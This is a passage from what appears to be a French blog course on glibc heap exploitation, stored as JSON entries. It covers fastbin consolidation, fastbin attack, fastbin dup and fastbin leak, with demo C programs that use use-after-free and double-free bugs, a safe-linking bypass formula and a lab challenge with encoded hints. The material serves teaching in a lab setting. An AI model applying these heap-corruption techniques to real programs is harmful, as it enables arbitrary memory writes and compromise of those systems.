&lt;stdio.h&gt;int main(){ void *a = malloc(1); void *b = malloc(1); void *c = malloc(1); void *d = malloc(1); void *e = malloc(1); void *f = malloc(1); void *g = malloc(1); void *h = malloc(1); void *i = malloc(1); void *j = malloc(1); // Remplissage du tcache free(a); free(b); free(c); free(d); free(e); free(f); free(g); puts(\"A\"); // Ces trois blocs iront dans des fastbins free(h); free(i); free(j); puts(\"B\"); // Consolidation ? malloc(0x400); puts(\"C\"); return 0;} Les différents appels à puts nous permettront des les utiliser comme points d’arrêt avec b puts. Cela permet d’éviter de mettre des points d’arrêt à des adresses en particulier ou sur des fonctions trop souvent appelées comme free.Le programme se déroule en trois parties : le tcache qui gère la taille 0x20 est rempli en libérant 7 blocs de 0x20 octets. De cette manière, les prochains blocs de 0x20 octets libérés iront dans la fastbin ; trois blocs sont libérés successivement. Ils iront dans la première fastbin ; une allocation d’un gros bloc de 0x400 octets qui ne pourra pas être alloué depuis une fastbin ou small bin. On s’attend à ce qu’elle déclenche une consolidation des blocs de la fastbin.Compilons le programme avec la glibc 2.31-0ubuntu9.16_amd64 afin d’éviter l’obfuscation des pointeurs causée par le safe linking :gcc -g main.c -o exe \\ -Wl,--dynamic-linker=./ld-2.31.so \\ -L. -Wl,-rpath=. -l:./libc-2.31.soln -s libc-2.31.so libc.so.6Comme d’habitude, pour ceux qui ne veulent pas le faire eux-mêmes, voici le conteneur Docker : ⬇️ Téléchargement : pwn-fastbin-consolidation.zip 🔎 SHA256 &amp; Analyse Virus Total : 6ee80babb6f82c954f2662ed97d65f4929ce6abcb138ef9fadcf2501cc06b621 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fastbin-consolidation .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-consolidationEnsuite, ouvrons le programme dans gdb-gef++ et mettons un point d’arrêt sur puts(\"B\"); :Jusque-là, rien de spécial : les 7 premiers blocs libérés sont bien dans le premier tcache tandis que les 3 restants sont dans la première fastbin.Avançons désormais jusqu’à l’appel de puts(\"C\"); :Pas besoin d’être un génie pour comprendre ce qui s’est passé 🤓: les trois blocs de 0x20 ont été fusionnés lors de la consolidation afin de former un plus gros bloc de 0x60 octets. Comme 0x60 octets ne suffisent pas pour l’allocation de plus de 0x400 octets, ce bloc libre de 0x60 octets est inséré dans une small bin. Savoir comment déclencher une consolidation dans les fastbins peut être intéressant dans le cas où nous souhaitons, pour quelconque raison, envoyer des blocs d’une fastbin vers une small bin. En quoi savoir qu’une consolidation a lieu dans certains cas est utile en pwn ?Vous le verrez au prochain chapitre lorsque l’on s’intéressera aux vulnérabilités et à l’exploitation dans les fastbins 😏.Vérification lors de la consolidationPour simplifier, la fonction malloc_consolidate() itère en deux temps : une itération sur chaque fastbin (nommée fb) et pour chaque fastbin, elle itère sur les blocs libres de celle-ci (nommé p). Voici la vérification effectuée :\t unsigned int idx = fastbin_index (chunksize (p));\t if ((&amp;fastbin (av, idx)) != fb)\t malloc_printerr (\"malloc_consolidate(): invalid chunk size\"); Pour rappel, av est l’arène courante, c’est-à-dire celle du fil d’exécution courant.La vérification réalisée consiste à comparer : la fastbin associée à la taille du bloc : &amp;fastbin (av, idx) avec la fastbin dont on est actuellement en train de consolider les blocs : fb.Normalement, ces deux valeurs sont identiques, car elles représentent la même fastbin. Néanmoins, si on a bidouillé la liste chaînée d’une fastbin, par exemple celle qui gère les blocs de 0x40 octets, en insérant artificiellement un bloc de 0x50 octets, la vérification échoue.De ce fait, lorsque l’on tente de modifier des blocs dans les fastbins, il est important de connaître les choses qui déclenchent des consolidations dans ces fastbins afin d’éviter que des blocs douteux soient détectés 🫣.Version 2.29 - Contrôle de la taille des blocs via prev_size❌ Message d’erreur associé : corrupted size vs. prev_size in fastbins.Toujours dans la fonction malloc_consolidate(), une vérification supplémentaire a été ajoutée. D’ailleurs, cette nouvelle vérification est située juste après la précédente que l’on a vue dans la version 2.27.Version 2.32 - Safe linking❌ Exemples de message d’erreur associés : malloc(): unaligned fastbin chunk detected 3 segmentation faultD’autres messages d’erreur peuvent être associés à cette protection lorsque l’on modifie fd sans prendre en compte le safe linking.On ne va pas s’attarder sur le fonctionnement du safe linking étant donné que nous en avons parlé en détails dans le chapitre du tcache. D’autant plus que l’algorithme utilisé est le même. Evidemment, il n’y a pas de champ key ici étant donné que le champ bk n’est jamais utilisé dans les fastbins.Pour contourner cette protection, vous pouvez utiliser la même méthode que l’on a utilisée dans le chapitre du tcache (cf : tcache poisoning). Le contournement de cette protection sera explicité de nouveau au prochain chapitre lorsque nous allons nous intéresser aux attaques que l’on peut mener grâce aux fastbins." }, { "title": "Partie 10 - Exploiter les vulnérabilités des fastbins - primitives et scénarios (3/4)", "url": "/posts/exploitation_de_la_heap_partie_10/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-30 08:00:00 -0200", "snippet": "Exploiter les vulnérabilités des fastbins : primitives et scénarios (3/4)C’est parti pour voir ce que l’on peut faire en termes de pwn avec les fastbins ! Nous allons notamment nous intéresser aux ...", "content": "Exploiter les vulnérabilités des fastbins : primitives et scénarios (3/4)C’est parti pour voir ce que l’on peut faire en termes de pwn avec les fastbins ! Nous allons notamment nous intéresser aux attaques suivantes : fastbin attack ; fastbin dup ; fastbin leak.Il existe plusieurs variantes du fastbin dup. Nous ne les détaillerons pas toutes ici afin d’alléger le cours, d’autant que leur principe de base reste identique.1️⃣ fastbin attackRedirection d’une allocation en modifiant une fastbin.📋 Exploitabilité selon les versions Version Exploitabilité Commentaire ≤ 2.3.3 🟢 Exploitable. ≤ 2.25 🟡 Exploitable mais nécessite que la taille du bloc cible soit la même que la taille des autres blocs de la fastbin modifiée. ≥ 2.26 🔴 Obsolète.Depuis l’introduction du tcache, les blocs libres des fastbins sont placés dans le tcache (s’il reste de la place) lorsque malloc est appelé. Cela signifie que déployer cette attaque revient à réaliser une tcache attack. Voir l’attaque fastbin reverse into tcache pour plus de détails. ⚡ RésuméLa fastbin attack est la version “fastbin” de la tcache attack. En effet, cette attaque consiste à modifier la liste chaînée d’une fastbin en insérant un bloc cible afin qu’il soit retourné par malloc. Cela permet d’accéder à une zone mémoire arbitraire (et d’y écrire des données si le programme le permet).🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’aboutir à : une écriture à une adresse arbitraire.🔧 Primitives d’exploitationIl est, entre autres, possible de réaliser cette attaque en utilisant les primitives suivantes : use-after-free : en ayant la possibilité de modifier directement un bloc libre, il est possible de modifier fd ; buffer overflow dans le tas : s’il est possible de réaliser un dépassement de mémoire depuis un des blocs situés avant le bloc cible, alors fd peut être modifié si le dépassement est assez large ; écriture arbitraire : en ayant une primitive d’écriture arbitraire et en connaissant l’adresse du bloc cible, fd peut être modifié.📃 Détails de l’exploitationComme d’habitude, utilisons un programme comme support afin de comprendre au mieux en quoi consiste une fastbin attack :#include &lt;stdio.h&gt;#include &lt;string.h&gt;#include &lt;stdlib.h&gt;int main(void){ unsigned long long *a, *b; a = malloc(1); b = malloc(1); unsigned long long varCible[4] __attribute__ ((aligned (0x10))) = {0}; printf(\"Adresse de la variable locale : 0x%llx\\n\",varCible); free(a); free(b); \t// EXPLOITATION ICI : déclenchement d'une vulnérabilité\t// permettant de modifier `fd` *b = &amp;varCible; unsigned long long *temp, *ptrCible ; temp = malloc(1); ptrCible = malloc(1); printf(\"Premier retour de malloc : %p\\n\", temp); printf(\"Second retour de malloc : %p\\n\", ptrCible); \tstrcpy(ptrCible,\"ABCDEFGH\"); // Ecriture arbitraire\treturn 0;} La variable varCible est alignée sur 0x10 afin de ne pas avoir d’erreur d’alignement lors de la mise en place de la fastbin attack.Compilons-le avec la glibc 2.24-9ubuntu2.2_amd64 afin de ne pas avoir à nous trimbaler le tcache dans les pattes :gcc -g main.c -o fastbin_attack -Wno-int-conversion -Wno-incompatible-pointer-types \\ -Wl,--dynamic-linker=./ld-2.24.so \\ -L. -Wl,-rpath=. -l:./libc-2.24.so # Ne pas oublier : ln -s libc-2.24.so libc.so.6Et pour les habitués de Docker : ⬇️ Téléchargement : pwn-fastbin-attack.zip 🔎 SHA256 &amp; Analyse Virus Total : bcd485481858a0601d431df77c77fbb04482637b1732e69be226b33fd828e8f9 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fastbin-attack .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-attackCe programme, assez basique, alloue deux blocs de 0x20 octets puis les libère. Etant donné que le tcache n’est pas présent, ces deux blocs vont dans la fastbin n°0. On simule l’exploitation d’une primitive d’écriture avec *b = &amp;varCible; afin de modifier le champ fd du bloc B. Ensuite, deux allocations sont réalisées.Question : Est-ce que le bloc cible alloué sera bien &amp;varCible ? Voyons voir ça. Tout d’abord que se passe-t-il si on exécute le programme ?$ ./fastbin_attackAdresse de la variable locale : 0x7ffe3c7cf120 *** Error in `./fastbin_attack': malloc(): memory corruption (fast): 0x00007ffe3c7cf130 *** Aborted (core dumped)Ah 🤕. On se prend l’erreur suivante : malloc(): memory corruption (fast). Mais pas de panique ! Comme vous avez été très attentifs au précédent chapitre 😇, vous savez comment faire pour trouver l’origine de cette erreur. Ça vient du fait de la vérification de la taille du bloc alloué ?Exact 👏 ! Pour comprendre ce que souligne cette erreur, schématisons l’exécution du programme comme suit : free(a); free(b); : les deux premiers blocs alloués A et B sont libérés ; *b = &amp;varCible; : simulation de l’exploitation d’une primitive (ex: UAF) afin de modifier le champ fd du second bloc pour le faire pointer vers l’adresse mémoire cible ; temp = malloc(1); : la première allocation extrait le premier bloc de la liste chaînée de la fastbin n°0. Ce premier bloc est pointé par le membre fastbinY[0] de l’arène ; ptrCible = malloc(1); (...) strcpy(ptrCible,\"ABCDEFGH\"); : la zone mémoire cible est allouée et la chaîne de caractères y est écrite. Contrairement à la tcache attack, la chaîne de caractère n’est pas écrite à l’adresse contenue dans le fd modifié mais 0x10 octets plus loin car, dans les fastbins, le champ fd pointe vers le champ prev_size.Bon, ça c’était le schéma dans le cas où tout se passe bien et que l’on a pas d’erreur. Si vous déboguez le programme, vous remarquerez que l’erreur est remontée lors de l’étape n°3 quand ptrCible = malloc(1); est exécuté.Cela est lié à la vérification de la taille du bloc alloué. En effet, puisque nous définissons varCible[4] comme un tableau rempli de zéros (avec = {0};), à l’étape n°3 cette variable a cette forme :Le souci est que l’adresse 0x7fffffffffe8 contient la valeur 0x0000000000000000 alors que le programme s’attend à ce que ce soit 0x20 (sans prendre en compte les flags PREV_INUSE etc.), comme pour les autres blocs de la fastbin n°0.Pour corriger ce problème, il suffit d’ajouter la ligne suivante dans le code source, puis de recompiler le programme :unsigned long long varCible[4] __attribute__ ((aligned (0x10))) = {0}; // /!\\ La taille doit être la même que celle des autres blocs de la fastbinvarCible[1] = 0x20; // Ajouter cette ligneDe cette manière, l’adresse 0x7fffffffffe8 contiendra bien 0x20 et la vérification n’échouera pas. Pas besoin de mettre le bit PREV_INUSE à 1 étant donné que dans cette version, il n’y a pas de vérification supplémentaire réalisée en fonction de la présence ou non de ce bit. Néanmoins, il est possible que la vérification soit faite dans des versions ultérieures auquel cas il convient d’y accorder une attention particulière.Vous pouvez ajouter l’appel suivant avant le return afin de voir si nous avons bien réussi à modifier la variable varCible présente sur la pile : printf(\"%s\\n\",&amp;varCible[2]);.L’objectif est atteint, nous avons pu réaliser une écriture arbitraire à une adresse arbitraire en utilisant la fastbin attack 😎. Évidemment nous pouvions manipuler le code source à notre guise pour que tout se passe bien. Dans un cas réel, il faut réussir à réaliser toutes ces étapes en exploitant ce que permet de faire le programme vulnérable.🚧 Obstacles et contraintesASLRLorsque l’ASLR est présente, une partie de l’adresse contenue dans fd sera aléatoire.💡ContournementDeux cas sont possibles en fonction de la localisation de l’adresse cible : dans le tas : l’adresse cible aura, par conséquent, les mêmes octets de poids fort aléatoires que l’adresse initialement présente dans fd. Il suffit de modifier les octets de poids faible, avec un peu de force brute s’il y a besoin de modifier plus que l’octet de poids faible ; en dehors du tas : une fuite sera nécessaire pour connaître l’adresse cible, connaître la valeur initiale de fd ne sera, en revanche, pas nécessaire.Safe LinkingLe safe linking en lui-même ne pose pas réellement problème. Dans le cas où l’ASLR est désactivée il est facilement possible de le contourner en connaissant à l’avance l’adresse du champ fd (l’adresse du champ, pas son contenu).💡ContournementCette protection est très souvent conjuguée avec l’ASLR. Auquel cas il sera nécessaire de faire fuiter une adresse du tas afin de pouvoir connaître l’adresse du champ fd à modifier.Une fois que l’adresse du champ fd est connue, il suffit de modifier la valeur de fd via le calcul suivant :hex(addr_cible ^ (addr_fd &gt;&gt; 12))# addr_fd : adresse du champ fd à modifier (précédent exemple: 0x500000000030 )# addr_cible : adresse abritraire où l'on souhaite écrire (précédent exemple: 0x7fffffffffe0 )Présence du tcacheLa présence du tcache est problématique car elle complexifie cette attaque. En effet, lorsqu’un bloc est libéré et qu’il y a de la place dans le tcache idoine, le tcache est alors utilisé et non pas une fastbin.💡ContournementGénéralement, la première chose à faire pour pouvoir réaliser une attaque depuis la fastbin est de … pouvoir l’utiliser 😆. Une technique couramment utilisée pour se débarrasser du tcache est d’allouer plus de 7 blocs de n octets (où n est également la taille des blocs de la fastbin que l’on souhaite exploiter) puis de les libérer.En libérant les 7 premiers blocs, on sature le tcache qui ne pourra plus recevoir de nouveaux blocs. Ainsi, en libérant d’autres blocs, ces derniers iront dans la fastbin. Par exemple :void *chunks[7+3];for(int i=0; i&lt;10; i++) {\tchunks[i] = malloc(0x30);}for(int i=0; i&lt;7; i++) {\tfree(chunks[i]); // Ce bloc ira dans le tcache}// A partir de la, le tcache de taille 0x30 est saturé// Ces 3 blocs iront dans la fastbin de taille 0x30free(chunks[7]);free(chunks[8]);free(chunks[9]);Ce n’est pas fini : comme le tcache est prioritaire par rapport à la fastbin, les 7 premiers appels à malloc(0x30) iront piocher des blocs libres depuis le tcache. Ce n’est qu’à partir du 8ème appel que les blocs de la fastbin seront utilisés.Bon, ça c’était la théorie. En pratique, il y aura d’autres mécanismes qui vont nous entraver dans la mise en place d’une telle attaque, notamment le fait que, lorsque malloc est appelé, s’il y a des blocs libres dans une fastbin de taille n et que le tcache de taille n est vide, ces blocs libres seront transférés vers le tcache (dans une limite de 7 blocs).Ainsi, si vous souhaitez absolument réaliser une fastbin attack après la version 2.26, je vous conseille de jeter un œil à cette attaque. Lorsque vous vous intéressez à une attaque en particulier dans le tas, je vous conseille de faire un schéma pour comprendre ce qui se passe. Cela vous facilitera grandement la compréhension et vous évitera un mal de crâne 😆.2️⃣ fastbin dupDuplication d’un bloc libre dans une fastbin.📋 Exploitabilité selon les versions Version Exploitabilité Commentaire ≤ 2.3.3 🟢 Exploitable directement via un double free. ≤ 2.25 🟢 Exploitable. ≥ 2.26 🟡 Exploitable mais il est nécessaire de saturer au préalable le tcache et d’adapter les allocations mémoire car les blocs de la fastbin seront transférés vers le tcache. A l’heure où est réalisé ce tableau (version 2.40 de la glibc) cette technique est toujours exploitable.⚡ RésuméLe fastbin dup ressemble au tcache dup, et pas que dans le nom ! Cette attaque consiste également à modifier une liste chaînée, en l’occurrence, celle d’une fastbin, afin de pouvoir allouer un bloc à une adresse arbitraire. Il s’agit en quelque sorte d’un double free déguisé. Nous avons choisi de ne pas parler ici du double free dans les fastbins car il s’agit d’une protection qui a été corrigée il y a belle lurette (2004) dans la version 2.3.4 de la glibc.🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’aboutir à : un chevauchement de données.🔧 Primitives d’exploitationIl est, entre autres, possible de réaliser cette attaque en utilisant les primitives suivantes : appel inconditionnel à free : en ayant la possibilité de libérer une seconde fois un bloc déjà libre (sans qu’il n’y ait de vérification par le programme), il est a priori possible d’exploiter cette vulnérabilité.📃 Détails de l’exploitationVoici un petit programme permettant de mettre en oeuvre cette attaque :#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main() { \tvoid *a = malloc(1); \tvoid *b = malloc(1); \tvoid *c = NULL; \t\tfree(a); \tfree(b); \tfree(a); \t\ta = malloc(1); \tb = malloc(1); \tc = malloc(1); \t\t// Ne pas utiliser printf car cela engendrera \t// un appel à malloc qui impliquera un segfault \tfprintf(stderr, \"1st malloc(1): %p\\n\", a); \tfprintf(stderr, \"2nd malloc(1): %p\\n\", b); \tfprintf(stderr, \"3rd malloc(1): %p\\n\", c); \treturn 0; }Vous pouvez compiler le programme avec la glibc 2.24-3ubuntu2.2_amd64 afin de ne pas être embêtés par le tcache. Le fonctionnement de ce programme est résumé dans le schéma qui a été introduit précédemment.Voici le conteneur Docker : ⬇️ Téléchargement : pwn-fastbin-dup.zip 🔎 SHA256 &amp; Analyse Virus Total : 1947fa5ecefd2217d13308b3f27dcf06b952076b3f75102789dc08c377367cbe ⚙️ Construction et lancement du conteneur :docker build -t pwn-fastbin-dup .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-dupEn l’exécutant avec la version 2.24 vous devriez avoir quelque chose comme ceci :➜ ./fastbin_dup 1st malloc(1): 0x63329b9f3010 2nd malloc(1): 0x63329b9f3030 3rd malloc(1): 0x63329b9f3010Nous avons bien la première allocation qui est confondue avec la troisième sans avoir été détectée par le programme 😎 !🚧 Obstacles et contraintesAppel à free contrôléSi l’appel à free est contrôlé par le programme, il se peut que l’enchaînement des appels free(a) ➡️ free(b) ➡️ free(a) ne soit pas possible car le programme va détecter qu’un même bloc est libéré deux fois.Cette détection peut être réalisée par le programme en utilisant sa propre liste de blocs libres, par exemple.💡ContournementSi vous pensez qu’il faut absolument que vous utilisiez un fastbin dup afin d’avancer dans l’exploitation du programme, il faut trouver un moyen de réaliser un appel non contrôlé à free ou carrément trouver un autre moyen de réaliser un chevauchement de données.Présence du tcacheComme vous le savez : tcache et fastbin ne font pas bon ménage 💔.💡ContournementBonne nouvelle, le fastbin dup reste exploitable même lorsque le tcache est présent. Pour cela, il suffit d’utiliser l’astuce précédemment évoquée qui consiste à saturer le tcache pour avoir accès à la fastbin.Voici un programme commenté où vous trouverez les étapes supplémentaires requises pour déployer cette attaque :#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;int main(){\tvoid *blocs[7+3];\t\tfor(int i=0; i&lt;10; i++) \t{\t\tblocs[i] = malloc(0x30);\t}\t// Saturation du tcache\tfor(int i=0; i&lt;7; i++) \t{\t\tfree(blocs[i]); // Ces blocs iront dans le tcache\t}\t\t// A partir de la, le tcache de taille 0x30 est saturé (7/7 blocs)\t// Ces 3 blocs iront dans la fastbin de taille 0x30\tfree(blocs[7]);\tfree(blocs[8]);\tfree(blocs[7]);\t\t// Ces 7 allocations réutilisent les 7 blocs\t// libres du tcache\tmalloc(0x30);\tmalloc(0x30);\tmalloc(0x30);\tmalloc(0x30);\tmalloc(0x30);\tmalloc(0x30);\tmalloc(0x30);\t\t// Déclenchement du fastbin dup\tvoid *a = malloc(0x30);\tvoid *b = malloc(0x30);\tvoid *c = malloc(0x30);\t\tprintf(\"A @ 0x%llx\\n\",a);\tprintf(\"B @ 0x%llx\\n\",b);\tprintf(\"C @ 0x%llx\\n\",c);\t\treturn 0;}Le code est assez simple à comprendre de même que l’astuce pour pouvoir utiliser la fastbin même lorsque le tcache est présent.3️⃣ fastbin leakFaire fuiter une adresse du tas à partir d’un bloc libre d’une fastbin.📋 Exploitabilité selon les versions Version Exploitabilité Commentaire ≤ 2.25 🟢 Exploitable. ≥ 2.26 🟡 Exploitable mais il est nécessaire de saturer au préalable le tcache et d’adapter les allocations mémoire car les blocs de la fastbin seront transférés vers le tcache. ≥ 2.32 🟡 Exploitable mais peut également nécessiter un petit calcul en plus en raison du safe linking. A l’heure où est réalisé ce tableau (version 2.40 de la glibc) cette technique est toujours d’actualité.⚡ RésuméL’exploitation de cette vulnérabilité consiste à révéler le champ fd d’un bloc libre dans une fastbin. Cela permet d’obtenir un leak d’une adresse du tas, facilitant ainsi le contournement de l’aléatoirisation des adresses mémoire.🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’aboutir à : une fuite d’une adresse mémoire du tas.🔧 Primitives d’exploitationIl est, entre autres, possible de réaliser cette attaque en utilisant les primitives suivantes : use-after-free : en ayant la possibilité d’afficher les données d’un bloc libre, il peut être possible d’afficher le champ fd ; lecture arbitraire : s’il y a la possibilité de lire le contenu de n’importe quelle adresse en mémoire, il est notamment possible de lire l’adresse contenue dans fd.📃 Détails de l’exploitationBonne nouvelle ! Faire fuiter une adresse dans une fastbin se fait de la même manière que dans le tcache, que ce soit avant ou après la version 2.32 qui implémente le safe linking. C’est vraiment la même chose ?La seule différence réside dans la manière de faire fuiter une adresse lorsque le tcache est également utilisé (glibc post 2.26) : il suffit, comme d’habitude, de saturer le tcache avec 7 blocs afin d’avoir accès à la fastbin.Vous pouvez ainsi réutiliser le code que nous avions utilisé lorsque nous avions parlé de la fuite d’adresse via le tcache :#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;int main(){ unsigned long long *a = malloc(1); unsigned long long *b = malloc(1); free(a); free(b); printf(\"0x%llx\\n\",*b); // EXPLOITATION ICI: utiliser un moyen d'afficher `fd` return 0;}Pour le conteneur Docker : ⬇️ Téléchargement : pwn-fastbin-leak.zip 🔎 SHA256 &amp; Analyse Virus Total : a058aaf3807e40f8291b36c66d4d96f0dbd2bc1e3f6ff4209f53a8129c81307a ⚙️ Construction et lancement du conteneur :docker build -t pwn-fastbin-leak .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-leakDe préférence, compilez-le avec une version glibc où le tcache n’est pas présent. En l’exécutant vous devriez avoir quelque chose de ce type :➜ ./fastbin_leak0x5d0a917f50e0Voilà !🚧 Obstacles et contraintesSafe LinkingEn raison de l’algorithme, il n’est pas possible de faire directement fuiter une adresse du tas (sauf pour le dernier bloc de la fastbin).💡ContournementIl suffit de xorer les 12 bits de poids fort avec les 12 suivants et ainsi de suite en utilisant la même méthode que celle présentée pour le tcache leak.Présence d’octets nulsSi la fonction utilisée pour faire fuiter fd est une fonction qui s’arrête à un octet nul, il ne sera pas possible de faire fuiter entièrement l’adresse.💡ContournementDeux cas sont possibles : l’octet nul fait partie des bits concernés par l’ASLR : il suffit de relancer le programme ; l’octet nul n’en fait pas partie : il convient de trouver une autre méthode ou fonction permettant de faire fuiter des octets." }, { "title": "Partie 11 - 🏆 Challenge - exploitation des fastbins (4/4)", "url": "/posts/exploitation_de_la_heap_partie_11/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-29 08:00:00 -0200", "snippet": "🏆 Challenge : exploitation des fastbins (4/4)Il y a pas mal d’infos autour de la fastbin même si elle est bien moins utilisée depuis que le tcache a fait son apparition. Un petit exercice s’impose ...", "content": "🏆 Challenge : exploitation des fastbins (4/4)Il y a pas mal d’infos autour de la fastbin même si elle est bien moins utilisée depuis que le tcache a fait son apparition. Un petit exercice s’impose afin que vous sachiez si vous maîtrisez les bases de la fastbin ou si des révisions s’imposent 🙃.Une fois les bases du tcache et de la fastbin acquises, nous pourrons explorer des techniques d’exploitation avancées visant à obtenir un shell en fin d’exploitation. ⬇️ Téléchargement : pwn-chall-fastbin.zip 🔎 SHA256 &amp; Analyse Virus Total : b17d680b1e8ec0a1b667d1eaf4594af84c7fcdaab64f9c17a3c53267bf3114c1 🎯 Objectif : réussir à afficher le message Bravo ! Tu as reussi ! en appelant la fonction gg.💻 Contexte d’exécutionAfin de se placer dans le contexte d’exécution prévu pour cet exercice, il est nécessaire de : activer l’ASLR ; atteindre l’objectif en dehors d’un débogueur ; la version de la glibc utilisée est 2.24-9ubuntu2.2_i386, il s’agit donc d’un programme 32 bits.💫 Lancer le challengeCi-dessous les commandes permettant de lancer le challenge : construction du conteneur : docker build -t pwn-chall-fastbin .; lancement du conteneur et du challenge :docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-chall-fastbinLe port accessible est le suivant : 1234 : port qu’il est possible d’utiliser pour déboguer à distance avec gdbserver.🤓 Quelques conseils Le programme a la structure d’un challenge classique dans le tas avec diverses opérations possibles impliquant des allocations, libérations … Prenez le temps de faire un bon coup de reverse afin de trouver les différentes structures utilisées En fonction de la version de la glibc et des protections en place, prenez le temps de réfléchir aux potentiels problèmes auquel vous devrez faire face et comment les contourner Prenez le temps de lister les différentes pistes qui pourraient vous permettre d’atteindre l’objectif💡 IndicesVoici quelques indices qui devraient vous permettre d’avancer lorsque vous êtes bloqués et que vous ne voyez pas comment aller plus loin.💡 Indice n°1Vm9pY2kgbGVzIHN0cnVjdHVyZXMgZXQgw6ludW3DqXJhdGlvbnMgdXRpbGlzw6llcyBwb3VyIGxlcyBhbGxlcmdpcXVlcyBhdSByZXZlcnNlIDoKCmBgYApzdHJ1Y3QgUGVycnVjaGUKewogIGNoYXIgbm9tWzEyXTsKfTsKCnN0cnVjdCBQZXJyb3F1ZXQKewogIGNoYXIgbm9tWzhdOwogIHZvaWQgKCpkaXJlQm9uam91cikoY2hhciAqKTsKfTsKCmVudW0gdHlwZV9vaXNlYXUKewogIFBFUlJVQ0hFLAogIFBFUlJPUVVFVCwKfTsKCnN0cnVjdCBvaXNlYXUKewogIGVudW0gdHlwZV9vaXNlYXUgdHlwZTsKICB2b2lkICpvaXNlYXU7Cn07CmBgYA==💡 Indice n°2Q29tbWVudCBhcHBlbGVyIGxhIGZvbmN0aW9uIGBnZ2AgPyBJbCBkZXZyYWl0IGJpZW4geSBhdm9pciBtb3llbiBkZSBiaWRvdWlsbGVyIGRhbnMgbGUgdGFzIHBvdXIgYXBwZWxlciBjZXR0ZSBmb25jdGlvbi4=💡 Indice n°3RGVzIHBvaW50ZXVycyBkZSBmb25jdGlvbiBzb250IHByw6lzZW50cywgc29udC1pbHMgbW9kaWZpYWJsZXMgPw==💡 Indice n°4RW4gcmFpc29uIGRlIGwnQVNMUiwgb24gbmUgcGV1dCBwYXMgY29ubmHDrnRyZSDDoCBsJ2F2YW5jZSBsJ2FkcmVzc2UgZGUgbGEgZm9uY3Rpb24gYGdnYC4gSWwgZmF1dCB0cm91dmVyIHVuIG1veWVuIGRlIGNvbnRvdXJuZXIgbCdBU0xSLCBwYXIgZXhlbXBsZSBlbiBmYWlzYW50IGZ1aXRlciB1bmUgYWRyZXNzZSBkZSBmb25jdGlvbiBldCBlbiBkw6lkdWlyZSBsJ2FkcmVzc2UgZGUgYGdnYCA/💡 Indice n°5UHLDqnRleiB1bmUgYXR0ZW50aW9uIHBhcnRpY3VsacOocmUgw6AgdG91dGVzIGxlcyBtYW5pcHVsYXRpb25zIGRlIGNoYcOubmVzIGRlIGNhcmFjdMOocmVzIGV0IGRlIGJ1ZmZlcnMsIGlsIHkgYSBzb3V2ZW50IGRlcyB2dWxuw6lyYWJpbGl0w6lzIGNhY2jDqWVzIGRlcnJpw6hyZSBsZXMgYm9ubmVzIGludGVudGlvbnMgZHUgZMOpdmVsb3BwZXVyLiA=💡 Indice n°6UXVhbmQgcydhcnLDqnRlIGBwcmludGZgIGxvcnMgZGUgbGEgbGVjdHVyZSBkJ3VuZSBjaGHDrm5lIGRlIGNhcmFjdMOocmVzID8=" }, { "title": "Partie 12 - Pistes générales d’exploitation dans la heap - concepts clés (1/2)", "url": "/posts/exploitation_de_la_heap_partie_12/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-28 08:00:00 -0200", "snippet": "Pistes générales d’exploitation dans la heap : concepts clés (1/2) On peut parler d’autre chose que des corbeilles 🤯 ?C’est bon, j’ai compris, on va faire autre chose 😆 ! Il reste encore quelques ...", "content": "Pistes générales d’exploitation dans la heap : concepts clés (1/2) On peut parler d’autre chose que des corbeilles 🤯 ?C’est bon, j’ai compris, on va faire autre chose 😆 ! Il reste encore quelques types de corbeilles à voir mais laissons-les pour plus tard. Nous avons déjà vu le tcache et les fastbins ce qui vous a permis d’être à l’aise avec le fonctionnement global du tas, des métadonnées et des corbeilles. On a vu pas mal de choses effectivement, mais jusqu’à présent tu ne nous as toujours pas montré comment ouvrir un shell en exploitant les programmes via le tas 🤨.Ça tombe bien, c’est exactement ce dont nous allons parler dans ce chapitre : les différentes pistes d’exploitation !Heap feng shuiLe heap feng shui n’est pas une technique d’exploitation en tant que telle, il s’agit plutôt d’une approche que l’on adopte souvent lorsque l’on tente d’exploiter un programme utilisant le tas.Pour ce qui est de l’origine du terme feng shui, cela vient d’une manière d’organiser l’espace, pratiquée principalement en Chine.À l’instar de l’organisation d’une ville où des bâtiments sont agencés d’une manière très précise, le heap feng shui consiste à organiser les blocs, via des allocations et libérations, de telle sorte que l’on puisse réussir à exploiter le tas.Pour illustrer cela, imaginons un programme (64 bits) permettant d’allouer les structures suivantes en mémoire :struct bloc_0x20 { char buf[8]; void *ptr; unsigned long long hash; }; struct bloc_0x30 { char buf[0x18]; void *ptr; unsigned long long hash; }; struct bloc_0x60 { char buf[0x48]; void *ptr; unsigned long long hash; }; La structure struct bloc_0x20 a une taille de 0x18 octets en mémoire. Néanmoins, appeler malloc(0x18) revient à allouer un bloc de 0x20 octets. Idem pour les deux autres structures.Supposons désormais que le programme gère très bien l’allocation et libération de mémoire de toutes les structures, sauf la dernière : une vulnérabilité permet d’utiliser la zone mémoire d’un bloc de type bloc_0x60 même après sa libération, entraînant ainsi un cas de use-after-free.L’objectif est de modifier le pointeur ptr d’un bloc de type bloc_0x60 en utilisant seulement des allocations et libérations, sachant que l’on peut contrôler totalement le contenu des buffers de n’importe quel bloc. En revanche, nous ne contrôlons pas le contenu des pointeurs ptr ni du hash. Comment faire ? De manière générale, n’hésitez pas à faire des schémas de la structure du tas en fonction des différents types de blocs qu’il est possible d’allouer. Vous verrez que cela permet de trouver plus 